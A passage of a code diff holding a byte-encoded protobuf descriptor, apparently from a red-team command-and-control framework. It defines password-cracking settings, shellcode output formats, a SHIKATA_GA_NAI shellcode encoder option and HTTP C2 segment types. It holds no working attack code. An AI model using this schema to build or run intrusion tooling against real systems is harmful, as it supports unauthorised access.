0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, + 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, + 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, + 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, + 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, + 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, + 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, - 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, - 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, - 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, - 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, - 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, - 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, - 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, - 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, - 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, - 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, - 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, - 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, - 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, - 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, - 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, - 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, - 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, - 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, - 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, - 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, - 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, - 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, - 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, - 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, - 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, - 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, - 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, - 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, - 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, - 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, - 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, - 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, - 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x51, 0x0a, 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, - 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a, - 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, - 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09, - 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e, - 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, - 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41, - 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a, - 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, - 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, - 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, - 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, - 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, - 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, - 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, - 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, - 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, - 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, - 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, - 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, - 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, - 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x35, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50, - 0x4f, 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, - 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13, - 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, - 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, - 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, - 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, - 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, - 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, - 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, - 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, - 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, - 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, - 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, - 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, - 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, - 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, - 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, - 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, - 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, - 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, - 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, - 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, - 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, - 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, - 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, - 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, - 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, - 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 